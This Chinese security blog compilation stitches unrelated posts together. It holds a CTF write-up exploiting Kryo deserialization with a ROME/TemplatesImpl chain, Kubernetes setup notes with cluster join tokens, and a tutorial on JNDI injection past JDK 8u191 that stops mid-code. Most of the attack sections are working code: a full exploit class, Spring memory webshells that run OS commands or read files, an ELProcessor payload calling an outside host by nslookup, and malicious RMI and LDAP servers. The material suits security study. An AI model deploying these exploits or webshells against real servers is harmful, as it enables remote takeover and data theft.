代码分析

题目给出源码。查看一下有一个kryo的反序列化点。

image-20220428094356736

然后后面的demo路由主要是用来修改kryo反序列化路由的一些配置。

这里自己先写一个最简单的kryo序列化和反序列化查看下效果

import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import fun.mrctf.springcoffee.model.ExtraFlavor;
import fun.mrctf.springcoffee.model.Mocha;

import java.io.*;
import java.util.Base64;

public class Test {
    static public void main(String[] args) throws Exception {
        Kryo kryo = new Kryo();
        kryo.register(Mocha.class);//注册Mocha类
        Mocha mocha = new Mocha();


        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        Output output = new Output(outputStream);
        kryo.writeClassAndObject(output, mocha);
        output.close();


        String exp = Base64.getEncoder().encodeToString(outputStream.toByteArray());
        System.out.println(exp);


        ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(exp));
        Input input = new Input(bas);
        ExtraFlavor flavor = (ExtraFlavor)kryo.readClassAndObject(input);

        input.close();
        System.out.println(flavor.getName());

    }

}

如果没有注册Mocha类就会报错:

image-20220428095647317

这个在反序列化题目的类时候待会也会用到。

因为题目有rome1.7这个和上次比赛的ezchain很像。于是我把上次比赛的代码拿过来用一下。

构造好后发现

image-20220428100323546

这是因为kryo在开始的时候只会注册一些基本类。所以HashMap类他会报错。

题目中只有this.kryo.register(Mocha.class);怎么办呢?

于是前面出题人给出一个可以修改配置的地方。

先复制一下代码看一下可以调的配置

image-20220428102520728

public void com.esotericsoftware.kryo.Kryo.setRegistrationRequired(boolean)
public void com.esotericsoftware.kryo.Kryo.setDefaultSerializer(java.lang.Class)
public void com.esotericsoftware.kryo.Kryo.setDefaultSerializer(com.esotericsoftware.kryo.SerializerFactory)
public void com.esotericsoftware.kryo.Kryo.setCopyReferences(boolean)
public void com.esotericsoftware.kryo.Kryo.setInstantiatorStrategy(org.objenesis.strategy.InstantiatorStrategy)
public void com.esotericsoftware.kryo.Kryo.setWarnUnregisteredClasses(boolean)
public void com.esotericsoftware.kryo.Kryo.setOptimizedGenerics(boolean)
public void com.esotericsoftware.kryo.Kryo.setReferenceResolver(com.esotericsoftware.kryo.ReferenceResolver)
public void com.esotericsoftware.kryo.Kryo.setClassLoader(java.lang.ClassLoader)
public boolean com.esotericsoftware.kryo.Kryo.setReferences(boolean)
public void com.esotericsoftware.kryo.Kryo.setAutoReset(boolean)
public void com.esotericsoftware.kryo.Kryo.setMaxDepth(int)

首先是解决注册问题。

https://github.com/EsotericSoftware/kryo/blob/master/README.md#optional-registration

发现是这个选项。进行尝试序列化与反序列化

image-20220428103232883

发现报错Class cannot be created (missing no-arg constructor): com.rometools.rome.feed.impl.EqualsBean

发现我们这个rome链中的这个选项是没有无参构造函数的。于是继续寻找配置

最终发现https://github.com/EsotericSoftware/kryo/blob/master/README.md#instantiatorstrategy

这里修改配置

{
        "polish":True,
        "RegistrationRequired":False,
        "InstantiatorStrategy":"org.objenesis.strategy.StdInstantiatorStrategy",
    }

即可执行任意字节码。

我们选择注册一个内存马。

注入内存马的时候发现之前的脚本不好使。查了一下发现springboot2.6以后RequestMappingInfo的初始化构造发生了一些变化

image-20220428113804042

https://copyfuture.com/blogs-details/202204220252518361#14_ControllerSpringboot_260__299

我使用的内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class SpringControllerMemShell2 extends AbstractTranslet {

    public SpringControllerMemShell2() {

        try {

            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = SpringControllerMemShell2.class.getMethod("test");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/yang999")
                    .options(config)
                    .build();
            SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa");
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        } catch (Exception e) {

        }
    }
    public SpringControllerMemShell2(String aaa) {

    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public void test() throws IOException {

        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {

            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {

                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {

                    p = new ProcessBuilder(new String[]{
                            "cmd.exe", "/c", arg0});
                } else {

                    p = new ProcessBuilder(new String[]{
                            "/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {

                response.sendError(404);
            }
        } catch (Exception e) {

        }
    }
}

EXP


import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import fun.mrctf.springcoffee.model.ExtraFlavor;
import javassist.*;

import java.io.*;
import java.lang.reflect.Field;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.objenesis.strategy.StdInstantiatorStrategy;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.*;
import java.util.HashMap;


import javax.xml.transform.Templates;
import java.util.Base64;

public class EXP {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }

    public static void main(String[] args) throws Exception {
        Kryo kryo = new Kryo();
        kryo.setRegistrationRequired(false);
        kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(SpringControllerMemShell2.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        ObjectBean delegate = new ObjectBean(Templates.class, obj);
        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);

        HashMap<Object, Object> hashmap = makeMap(root,root);

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);

        ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
        EqualsBean root1 = new EqualsBean(ToStringBean.class, item);

        HashMap<Object, Object> hashmap1 = makeMap(root1,root1);

        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        Output output = new Output(outputStream);
        kryo.writeClassAndObject(output, hashmap1);
        output.close();


        String exp = Base64.getEncoder().encodeToString(outputStream.toByteArray());
        System.out.println(exp);

        ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(exp));
        Input input = new Input(bas);
        ExtraFlavor flavor = (ExtraFlavor)kryo.readClassAndObject(input);

        input.close();
        System.out.println(flavor.getName());
//        byte[] bytes = byteArrayOutputStream.toByteArray();
//        String exp = Base64.getEncoder().encodeToString(bytes);
//        System.out.println(exp);

//        try {
//            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
//            Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
//            System.out.println(hessian2Input.readObject());
//        } catch (Exception e) {
//            System.out.println(e);
//        }

    }
}

本地通了。但是远程没通。看公告说有waf

这里写一下读文件的内存马

image-20220428131015308

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;

public class FileRead extends AbstractTranslet {

    public FileRead() {

        try {

            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = FileRead.class.getMethod("test");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/fileread")
                    .options(config)
                    .build();
            FileRead fileRead = new FileRead("aaa");
            mappingHandlerMapping.registerMapping(info, fileRead, method2);
        } catch (Exception e) {

        }
    }
    public FileRead(String aaa) {

    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public void test() throws IOException {

        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        PrintWriter writer = response.getWriter();
     //exec
        try {
        String urlContent = "";
        final URL url = new URL(request.getParameter("read"));
        final BufferedReader in = new BufferedReader(new
                InputStreamReader(url.openStream()));
        String inputLine = "";
        while ((inputLine = in.readLine()) != null) {
            urlContent = urlContent + inputLine + "\n";
        }
        in.close();
            writer.write(urlContent);
            writer.flush();
            writer.close();
    } catch (Exception e) {

    }

}

    public static void main(String[] args) {

    }
}

无法直接读flag。里面有jrasp.jar

读取jasp查看做了什么waf。

为了绕过

我们可以直接调用UnixProcess这个更为底层的类去执行方法

k8s安全学习

搭建k8s集群

使用kubeadm搭建 1 node 1 master 的集群、网络插件使用flannel 即可

image-20220222162045032

准备两台Ubuntu虚拟机搭建

关闭防火墙和swap

关闭iptables/ufw:  service ufw stop
关闭swap:  swapoff  -a

然后每台机器上安装好docker

https://www.runoob.com/docker/ubuntu-docker-install.html

在所有节点上安装 kubectl kubelet kubeadm

  • kubeadm:用来初始化集群的指令。
  • kubelet:在集群中的每个节点上用来启动 pod 和容器等。
  • kubectl:用来与集群通信的命令行工具。
# apt-get update && apt-get install -y apt-transport-https
# curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -
# cat <<EOF >/etc/apt/sources.list.d/kubernetes.list
deb http://apt.kubernetes.io/ kubernetes-xenial main
EOF
# apt-get update
# apt-get install -y kubectl kubelet kubeadm国内请使用aliyun源:
# sudo apt-get update && apt-get install -y apt-transport-https
# sudo curl https://mirrors.aliyun.com/kubernetes/apt/doc/apt-key.gpg | apt-key add - 
# sudo cat <<EOF >/etc/apt/sources.list.d/kubernetes.list
deb https://mirrors.aliyun.com/kubernetes/apt/ kubernetes-xenial main
EOF  
# sudo apt-get update# apt-get install -y kubectl kubelet kubeadm

初始化master节点

pod网络插件是必要安装,以便pod可以相互通信. 请提前确认自己需要使用的pod网络插件,以Flannel为例,为了使Flannel正常工作,执行kubeadm init命令时需要增加--pod-network-cidr=10.244.0.0/16参数

# kubeadm init --pod-network-cidr=10.244.0.0/16     # k8s.gcr.io可以访问的情况下可以直接执行init
# kubeadm init --control-plane-endpoint="192.168.52.130:6443" --image-repository registry.aliyuncs.com/google_containers --pod-network-cidr=10.244.0.0/16  # 通过跳转registry的方式安装以上两种init的方式自己根据情况选择执行

如果这里报错的解决方案

https://www.fons.com.cn/118262.html

成功如图

image-20220222174425592

保存这个token

kubeadm join 192.168.52.130:6443 --token 0jh5re.0ita4ui5nz02raw9 \
    --discovery-token-ca-cert-hash sha256:9119db494baca8874d1046b6bd778c5cce384651ed38f40617c0c123cc030dd7

kubectl认证

集群主节点启动之后,我们需要使用kubectl来管理集群,在开始前,我们需要设置其配置文件进行认证。

使用kubectl工具 【master节点操作】\

mkdir -p $HOME/.kube
cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
chown $(id -u):$(id -g) $HOME/.kube/config

执行完成后,我们使用下面命令,查看我们正在运行的节点

kubectl get nodes

image-20220222175237236

能够看到,目前有一个master节点已经运行了,但是还处于未准备状态

下面我们还需要在Node节点执行其它的命令,将node1和node2加入到我们的master节点上

加入node节点

下面我们需要到 node1 和 node2服务器,执行下面的代码向集群添加新节点

执行在kubeadm init输出的kubeadm join命令:

kubeadm join 192.168.52.130:6443 --token 3x8we4.ic6vjbo3o8imzl0i \
    --discovery-token-ca-cert-hash sha256:481b379f469771693d03b1d572c9d32e892e6686059bcb4bb032fc1774f5f447

默认token有效期为24小时,当过期之后,该token就不可用了。这时就需要重新创建token,操作如下:

kubeadm token create --print-join-command

加入了之后就有了两个节点

image-20220222180044355

复制admin.conf并且设置配置

为了在工作节点上也能使用kubectl,而kubectl命令需要使用kubernetes-admin来运行,因此我们需要将主节点中的【/etc/kubernetes/admin.conf】文件拷贝到工作节点相同目录下

复制完成之后,我们就可以设置kubectl的配置文件了,以便我们在工作节点上也可以使用kubectl来管理k8s集群:

#设置kubeconfig文件
export KUBECONFIG=/etc/kubernetes/admin.conf
echo "export KUBECONFIG=/etc/kubernetes/admin.conf" >> ~/.bash_profile

至此,k8s工作节点的部署初步完成。接下来,我们需要以同样的方式将其他工作节点加入到集群之中。

查看集群节点状态
集群创建完成之后,我们可以输入以下命令来查看当前节点状态:

image-20220222182432819

至此,node节点也可以使用kubectl了!

部署CNI网络插件

flannel

上面的状态还是NotReady,下面我们需要网络插件,来进行联网访问

kubectl get pods -n kube-system

命令将列出“kube-system”命名空间下的所有pod并且以表格状输出pod的相关附加信息(节点名称)。

image-20220222184252689

# 添加
kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml
# 命令“kubectl apply”可以用于创建和更新资源,以上命令使用了网络路径的yaml来进行创建flanner   也就是说,可以不下载到本地,直接利用网络路径进行apply

# 查看状态 【kube-system是k8s中的最小单元】
kubectl get pods -n kube-system

连不上GitHub的解决方案

https://blog.csdn.net/weixin_38074756/article/details/109231865

中间报了个小错,解决一下

https://blog.csdn.net/shm19990131/article/details/106517283/

image-20220222201138498

image-20220222201211148

搭建完成

第二条起来发现有节点不工作

image-20220223113021821

kubectl describe pod/coredns-6d8c4cb4d-qjlf8  --namespace kube-system
kubectl logs -f pod/coredns-6d8c4cb4d-qjlf8  --namespace kube-system
kubectl get pods -n kube-system
kubectl get nodes

命令查看日志

最后还是重装了一下,不知道问题

image-20220224090513799

写在前面

RMI + JNDI Reference Payload

攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制,相对来说更加通用。

但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。

关于Reference等的介绍https://www.cnblogs.com/nice0e3/p/13958047.html

LDAP+JNDI Reference Payload

除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

绕过JDK8u191高版本限制

所以对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

环境搭建

用的是另一篇JNDI注入中的代码。image-20211212194111869

我的lib是从Tomcat源码中复制来的

image-20211212194140252

我们知道在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

低版本rmi调试

我们首先在低版本下断点调试

image-20211212112804876

前面lookup的部分差不多是获得rmi的路径,恶意类等。我们一直跟踪到这里

image-20211212113129306

进入decodeObject

image-20211212113219348

继续跟进getObjectInstance

image-20211212113654543

继续跟进getObjectFactoryFromReference,从Reference中获取ObjectFactory

然后就调用了loadClass和newInstance来加载远程恶意类

image-20211212113803983

绕过限制:利用本地Class作为Reference Factory

invoke:488, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient

换到高版本之后再次看decodeObject函数。

发现跟低版本不一样的是

image-20211212114200461

多了一行判断,这里就是判断trustURLCodebase是否为true,而这个新版本的默认选项就是false。

虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

image-20211212161626395

这个情况下,目标Bean Class必须有一个无参构造方法,有public的setter方法且参数为一个String类型。

目标类将提供一个公共的无参数构造函数和只有一个“string”参数的公共setter。事实上,这些setter不一定以“set.”开头。因为“BeanFactory”含有一些逻辑,用于处理如何为任何参数指定一个任意的setter名称。

因此,通过使用“BeanFactory”类,我们可以使用默认构造函数创建任意类的实例,并使用一个“string”参数调用任意的公共方法。

image-20211212164036672

这里,我们找到了javax.el.ELProcessor可以作为目标Class。利用这个类的“eval”方法,我们可以指定一个字符串,用以表示要执行的Java表达式语言模板。

image-20211212164220796

下面是任意命令的恶意表达式

{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")}

攻击

在打补丁之后,LDAP和RMI之间几乎没有什么区别,所以,为了简单起见,我们将使用RMI。

public class Bypass191 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
//        Registry registry = LocateRegistry.createRegistry(1099);
//        Reference reference = new Reference("Evil", "Evil","http://127.0.0.1:8000/");
//        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//        registry.bind("Exploit",referenceWrapper);

        Registry registry = LocateRegistry.createRegistry(1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
        ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用表达式执行命令
        ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
    }
}

这个服务器以序列化对象“org.apache.naming.Resourceref”作为响应,借助该对象精心构造的各种属性,就能在客户端上触发攻击者所需的行为。

好的此时的这里结果就是false了 就不用再抛出异常

image-20211212165832116

然后继续跟进,进入这里

image-20211212170432844

最终到这里,依然可以加载本地类

image-20211212170457139

到这里加载org.apache.naming.factory.BeanFactory

总结:NamingManager类的getObjectInstance()函数,其中调用了getObjectFactoryFromReference()函数来从Reference中获取ObjectFactory类实例
通过loadClass()函数来加载我们传入的org.apache.naming.factory.BeanFactory
image-20211212171012267

接着再次进入org.apache.naming.factory.BeanFactorygetObjectInstance方法。

image-20211212171138497

首先判断obj是否为ResourceRef实例

这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例

image-20211212174713218

这里获取我们最初设置的KINGX=eval

image-20211212174913904

这里是将xjavax.el.ELProcessor类的eval()方法绑定并存入hashmap

最终调用到

image-20211212175321267

进入

image-20211212191030363

这里执行后弹出计算器

image-20211212194056019

利用LDAP返回序列化数据,触发本地Gadget

之前在JNDI注入的文章中讲到了可以利用LDAP+Reference的方式进行攻击利用,但是在JDK 8u191以后的版本中增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。但是,攻击者仍然可以通过服务端本地ClassPath中存在的反序列化漏洞Gadget来绕过高版本JDK的限制。

LDAP可以为存储的Java对象指定多种属性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

这里 javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用(这里不再赘述,示例代码可以参考文末的Demo链接)。不过像前文所说的,高版本JVM对Reference Factory远程加载类进行了安全限制,JVM不会信任LDAP对象反序列化过程中加载的远程类。此时,攻击者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。

简而言之,LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。其中具体的处理代码如下:

if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { 
    ClassLoader cl = helper.getURLClassLoader(codebases);
    return deserializeObject((byte[])attr.get(), cl);
}

攻击利用

假设目标环境存在Commons-Collections-3.2.1包,且存在JNDI的lookup()注入或Fastjson反序列化漏洞。

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

使用ysoserial工具生成Commons-Collections这条Gadget并进行Base64编码输出:

image-20211212195723072

我们的恶意服务

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPbypass {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#EvilObject";
        int port = 1234;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */

        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            // Payload1: 利用LDAP+Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());

            // Payload2: 返回序列化Gadget
            try {
